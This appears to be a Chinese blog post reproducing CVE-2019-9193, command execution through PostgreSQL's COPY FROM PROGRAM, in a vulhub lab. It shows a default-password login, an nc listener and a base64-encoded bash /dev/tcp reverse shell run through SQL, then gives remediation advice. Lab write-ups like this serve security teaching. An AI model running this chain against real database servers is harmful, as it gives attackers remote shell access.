CVE-2019-9193 PostgreSQL 高权限命令执行漏洞

本文详细描述了PostgreSQL9.3及以上版本的高权限命令执行漏洞,攻击者利用COPYTO/FROMPROGRAM功能执行任意系统命令。文章演示了漏洞利用过程,并提供了针对该漏洞的修复建议,如限制角色权限、强化密码和网络隔离。
摘要由CSDN通过智能技术生成

CVE-2019-9193 PostgreSQL 高权限命令执行漏洞复现

一、漏洞介绍

任意命令执行:具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的超级用户以及 pg_read_server_files 组中的任何用户执行操作系统命令。

漏洞利用前提:

需要登陆;

需要高权限;

二、影响版本

受影响的版本(貌似更新版本无解)

PostgreSQL >= 9.3

漏洞复现

攻击机:kali(172.17.0.1)
靶机:kali使用docker-compose搭建的vulhub环境 postgres(0.0.0.0:5432)

docker-compose准备靶场

请添加图片描述

可以看到此时靶场映射到我本机的5432端口

弱密码登录

postgres是postgreSQL的默认用户及密码。

psql 连接PostgreSQL命令
-U 用户名-h 目标IP-p目标端口

在kali中输入命令psql -U postgres -h 0.0.0.0 -p 5432,待提示输入口令后 输入密码postgres

请添加图片描述

反弹SHELL

我要让目标服务器打开一个终端,并将终端的输入输出重定向至我kali机的4399端口

先开启kali监听nc -lvvp 4399
请添加图片描述

构造反弹shell语句:/bin/bash -i >& /dev/tcp/172.17.0.1/4399 0>&1

bash -i 打开一个交互的bash
& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/xxx 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
0>&1 0是文件描述符,标准输入重定向到标准输出,实现你与反弹出来的shell的交互

由于特殊符号可能被转义,所以用base64编码

/bin/bash -i >& /dev/tcp/172.17.0.1/4399 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQzOTkgMD4mMQ==

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjEvNDM5OSAwPiYx" | base64 -d | bash'; 
SELECT * FROM cmd_exec;

请添加图片描述

此时kali已收到监听

请添加图片描述

漏洞修复

1,pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;

2,增强密码的复杂度;

3,进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值